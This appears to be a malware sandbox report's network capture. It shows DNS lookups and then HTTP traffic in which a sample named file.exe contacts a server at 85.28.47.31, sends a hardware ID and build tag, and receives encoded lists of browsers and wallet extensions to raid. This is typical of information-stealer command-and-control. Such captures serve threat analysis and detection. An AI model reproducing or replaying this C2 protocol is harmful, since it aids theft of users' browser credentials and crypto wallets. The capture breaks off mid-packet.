Jul 27, 2024 03:20:04.444439888 CEST	1.1.1.1	192.168.2.6	0x6ce5	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.449529886 CEST	1.1.1.1	192.168.2.6	0x5ef2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:04.455564022 CEST	1.1.1.1	192.168.2.6	0x7f45	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 03:20:04.455564022 CEST	1.1.1.1	192.168.2.6	0x7f45	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 03:20:04.455564022 CEST	1.1.1.1	192.168.2.6	0x7f45	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 03:20:04.455564022 CEST	1.1.1.1	192.168.2.6	0x7f45	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jul 27, 2024 03:20:04.458838940 CEST	1.1.1.1	192.168.2.6	0x51d2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Jul 27, 2024 03:20:26.508898973 CEST	1.1.1.1	192.168.2.6	0x8b4b	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.509227037 CEST	1.1.1.1	192.168.2.6	0xe7a5	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.509227037 CEST	1.1.1.1	192.168.2.6	0xe7a5	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.513947010 CEST	1.1.1.1	192.168.2.6	0xf0d9	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.523499966 CEST	1.1.1.1	192.168.2.6	0xec78	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.556451082 CEST	1.1.1.1	192.168.2.6	0x9cfa	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:26.556451082 CEST	1.1.1.1	192.168.2.6	0x9cfa	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.564063072 CEST	1.1.1.1	192.168.2.6	0xc5d0	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.570807934 CEST	1.1.1.1	192.168.2.6	0xd605	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:26.570807934 CEST	1.1.1.1	192.168.2.6	0xd605	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.570822954 CEST	1.1.1.1	192.168.2.6	0xe4ea	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:26.570822954 CEST	1.1.1.1	192.168.2.6	0xe4ea	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.577980995 CEST	1.1.1.1	192.168.2.6	0x3ce3	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:26.577980995 CEST	1.1.1.1	192.168.2.6	0x3ce3	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:26.577980995 CEST	1.1.1.1	192.168.2.6	0x3ce3	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.591228962 CEST	1.1.1.1	192.168.2.6	0xabdd	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.591896057 CEST	1.1.1.1	192.168.2.6	0x88	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:26.606177092 CEST	1.1.1.1	192.168.2.6	0xcb16	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Jul 27, 2024 03:20:29.081085920 CEST	1.1.1.1	192.168.2.6	0x319f	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:29.081085920 CEST	1.1.1.1	192.168.2.6	0x319f	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:29.081085920 CEST	1.1.1.1	192.168.2.6	0x319f	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:29.120748997 CEST	1.1.1.1	192.168.2.6	0xceef	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:33.271742105 CEST	1.1.1.1	192.168.2.6	0x14cf	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:43.338386059 CEST	1.1.1.1	192.168.2.6	0x3194	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:44.382318020 CEST	1.1.1.1	192.168.2.6	0xe387	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:44.392683029 CEST	1.1.1.1	192.168.2.6	0x1b4d	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:46.456469059 CEST	1.1.1.1	192.168.2.6	0x3817	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:46.456469059 CEST	1.1.1.1	192.168.2.6	0x3817	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:46.778107882 CEST	1.1.1.1	192.168.2.6	0x4c2a	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:48.341429949 CEST	1.1.1.1	192.168.2.6	0x15a4	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:48.341429949 CEST	1.1.1.1	192.168.2.6	0x15a4	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:48.349127054 CEST	1.1.1.1	192.168.2.6	0x3360	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.534971952 CEST	1.1.1.1	192.168.2.6	0xe6a	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.569058895 CEST	1.1.1.1	192.168.2.6	0xd7d8	No error (0)	services.addons.mozilla.org		143.204.215.105	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.569058895 CEST	1.1.1.1	192.168.2.6	0xd7d8	No error (0)	services.addons.mozilla.org		143.204.215.18	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.569058895 CEST	1.1.1.1	192.168.2.6	0xd7d8	No error (0)	services.addons.mozilla.org		143.204.215.115	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.569058895 CEST	1.1.1.1	192.168.2.6	0xd7d8	No error (0)	services.addons.mozilla.org		143.204.215.122	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.575675964 CEST	1.1.1.1	192.168.2.6	0x7315	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.587254047 CEST	1.1.1.1	192.168.2.6	0x37c1	No error (0)	services.addons.mozilla.org		143.204.215.122	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.587254047 CEST	1.1.1.1	192.168.2.6	0x37c1	No error (0)	services.addons.mozilla.org		143.204.215.115	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.587254047 CEST	1.1.1.1	192.168.2.6	0x37c1	No error (0)	services.addons.mozilla.org		143.204.215.18	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.587254047 CEST	1.1.1.1	192.168.2.6	0x37c1	No error (0)	services.addons.mozilla.org		143.204.215.105	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.590544939 CEST	1.1.1.1	192.168.2.6	0x8e9c	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:52.620798111 CEST	1.1.1.1	192.168.2.6	0xdb8a	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:52.620798111 CEST	1.1.1.1	192.168.2.6	0xdb8a	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:52.630671978 CEST	1.1.1.1	192.168.2.6	0x54c3	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:53.836230040 CEST	1.1.1.1	192.168.2.6	0xd0ec	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:53.836230040 CEST	1.1.1.1	192.168.2.6	0xd0ec	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903840065 CEST	1.1.1.1	192.168.2.6	0xd493	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903840065 CEST	1.1.1.1	192.168.2.6	0xd493	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903840065 CEST	1.1.1.1	192.168.2.6	0xd493	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903840065 CEST	1.1.1.1	192.168.2.6	0xd493	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903840065 CEST	1.1.1.1	192.168.2.6	0xd493	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903853893 CEST	1.1.1.1	192.168.2.6	0xd493	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903853893 CEST	1.1.1.1	192.168.2.6	0xd493	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903853893 CEST	1.1.1.1	192.168.2.6	0xd493	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903853893 CEST	1.1.1.1	192.168.2.6	0xd493	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903853893 CEST	1.1.1.1	192.168.2.6	0xd493	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903882027 CEST	1.1.1.1	192.168.2.6	0x1e36	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903882027 CEST	1.1.1.1	192.168.2.6	0x1e36	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903893948 CEST	1.1.1.1	192.168.2.6	0x1e36	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903893948 CEST	1.1.1.1	192.168.2.6	0x1e36	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903906107 CEST	1.1.1.1	192.168.2.6	0xacd7	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903906107 CEST	1.1.1.1	192.168.2.6	0xacd7	No error (0)	star-mini.c10r.facebook.com		157.240.252.35	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903917074 CEST	1.1.1.1	192.168.2.6	0xacd7	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:20:59.903917074 CEST	1.1.1.1	192.168.2.6	0xacd7	No error (0)	star-mini.c10r.facebook.com		157.240.252.35	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.912214041 CEST	1.1.1.1	192.168.2.6	0xcb03	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.912420034 CEST	1.1.1.1	192.168.2.6	0x9ded	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.912420034 CEST	1.1.1.1	192.168.2.6	0x9ded	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.912420034 CEST	1.1.1.1	192.168.2.6	0x9ded	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.912420034 CEST	1.1.1.1	192.168.2.6	0x9ded	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.915448904 CEST	1.1.1.1	192.168.2.6	0x25f7	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.920380116 CEST	1.1.1.1	192.168.2.6	0xe41d	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Jul 27, 2024 03:20:59.922892094 CEST	1.1.1.1	192.168.2.6	0x405c	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Jul 27, 2024 03:20:59.930176020 CEST	1.1.1.1	192.168.2.6	0x469b	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:20:59.943691015 CEST	1.1.1.1	192.168.2.6	0xc3da	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Jul 27, 2024 03:21:00.568573952 CEST	1.1.1.1	192.168.2.6	0x13ef	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2024 03:21:00.568573952 CEST	1.1.1.1	192.168.2.6	0x13ef	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	85.28.47.31	80	6880	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:06.678790092 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 03:19:07.294591904 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 03:19:07.301187038 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBG Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 39 33 46 38 45 45 43 36 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 2d 2d 0d 0a Data Ascii: ------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="hwid"6C93F8EEC6E91041095265------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="build"sila------BKJEHCAKFBGDGCAAAFBG--
Jul 27, 2024 03:19:07.593708992 CEST	407	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 54 55 33 4d 6a 67 35 59 6a 64 6d 4e 7a 6c 6c 4d 47 59 33 59 32 45 30 5a 6a 41 77 4f 57 5a 6c 4d 44 4d 35 59 6a 49 7a 4f 44 63 77 5a 6d 46 6a 59 6d 52 68 4e 6a 64 6c 59 54 4e 6d 5a 6a 51 35 5a 44 41 7a 5a 44 6c 6c 4f 54 56 6d 59 32 4e 6c 4d 57 49 32 4e 44 52 6b 5a 47 4d 7a 4d 44 63 30 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 78 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YTU3Mjg5YjdmNzllMGY3Y2E0ZjAwOWZlMDM5YjIzODcwZmFjYmRhNjdlYTNmZjQ5ZDAzZDllOTVmY2NlMWI2NDRkZGMzMDc0fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwxfHlibmNiaHlsZXBtZXw=
Jul 27, 2024 03:19:07.595139027 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHJKFHJJJKJJJJKEHCB Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 2d 2d 0d 0a Data Ascii: ------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="message"browsers------EGHJKFHJJJKJJJJKEHCB--
Jul 27, 2024 03:19:07.785468102 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 27, 2024 03:19:07.785541058 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 27, 2024 03:19:07.786747932 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKFBKEHDBGHJJKFIEGD Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 2d 2d 0d 0a Data Ascii: ------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="message"plugins------BAKFBKEHDBGHJJKFIEGD--
Jul 27, 2024 03:19:07.967967033 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 